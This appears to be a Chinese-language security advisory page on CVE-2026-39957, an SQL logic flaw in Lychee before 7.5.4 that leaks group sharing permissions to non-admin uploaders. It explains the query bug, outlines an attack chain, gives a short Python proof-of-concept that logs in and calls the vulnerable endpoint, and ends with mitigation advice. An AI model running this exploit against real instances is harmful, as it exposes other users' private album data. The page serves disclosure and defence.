IPBUF安全漏洞报告
English
CVE-2026-39957 CVSS 4.3 中危

CVE-2026-39957 Lychee SQL逻辑漏洞导致信息泄露

披露日期: 2026-04-09

漏洞信息

漏洞编号
CVE-2026-39957
漏洞类型
SQL逻辑漏洞
CVSS评分
4.3 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Lychee

相关标签

SQL逻辑漏洞信息泄露权限绕过LycheeCWE-89

漏洞概述

Lychee照片管理工具在7.5.4之前的版本中存在SQL运算符优先级漏洞。由于`SharingController::listAll()`的查询逻辑缺陷,拥有上传权限的非管理员用户可以绕过所有权过滤,获取实例内所有基于用户组的共享权限信息,包括其他用户的私有相册数据。

技术细节

该漏洞源于Lychee框架在处理`SharingController::listAll()`方法时的SQL查询构建逻辑缺陷。开发人员使用了Laravel的`when()`闭包来尝试根据用户身份添加所有权过滤条件(`where`),但在查询链末尾错误地使用了`orWhereNotNull('user_group_id')`。由于SQL运算符优先级规则,`OR`条件的优先级导致了逻辑逃逸,使得`user_group_id IS NOT NULL`这一条件脱离了原本用于限制用户只能查看自己相册的`when`块的作用域。这导致生成的SQL语句逻辑错误,任何拥有上传权限的认证用户在调用该接口时,不仅会获取自己的相册权限,还会泄露整个实例中所有基于用户组的共享权限信息,造成敏感数据泄露。

攻击链分析

STEP 1
信息收集
攻击者识别目标Lychee实例,确认版本低于7.5.4。
STEP 2
获取凭证
攻击者注册或使用已有的非管理员账户,确保该账户具有上传权限。
STEP 3
发送请求
攻击者向`/api/Sharing::listAll`接口发送经过认证的HTTP请求。
STEP 4
漏洞触发
服务端因SQL运算符优先级错误,返回全站所有用户组的共享权限列表,导致信息泄露。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# Proof of Concept for CVE-2026-39957 # Exploitation requires a non-admin user with upload permission. import requests def exploit(target, username, password): session = requests.Session() # Step 1: Authenticate as low-privileged user login_url = f"{target}/api/Session::login" creds = {"username": username, "password": password} login_resp = session.post(login_url, json=creds) if login_resp.status_code != 200: print("Login failed") return # Step 2: Access the vulnerable endpoint # The vulnerability is in the backend logic, no special payload needed. vuln_url = f"{target}/api/Sharing::listAll" response = session.get(vuln_url) if response.status_code == 200: data = response.json() print("[+] Successfully exploited! Leaked Sharing Permissions:") print(data) else: print("Exploit failed") # Usage # exploit("http://lychee-instance.com", "attacker", "password")

影响范围

Lychee < 7.5.4

防御指南

临时缓解措施
建议立即升级Lychee至7.5.4或更高版本以修复此漏洞。在升级前,可临时通过WAF(Web应用防火墙)阻断对`/api/Sharing::listAll`路径的访问,或仅允许管理员IP访问该接口,以降低信息泄露风险。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表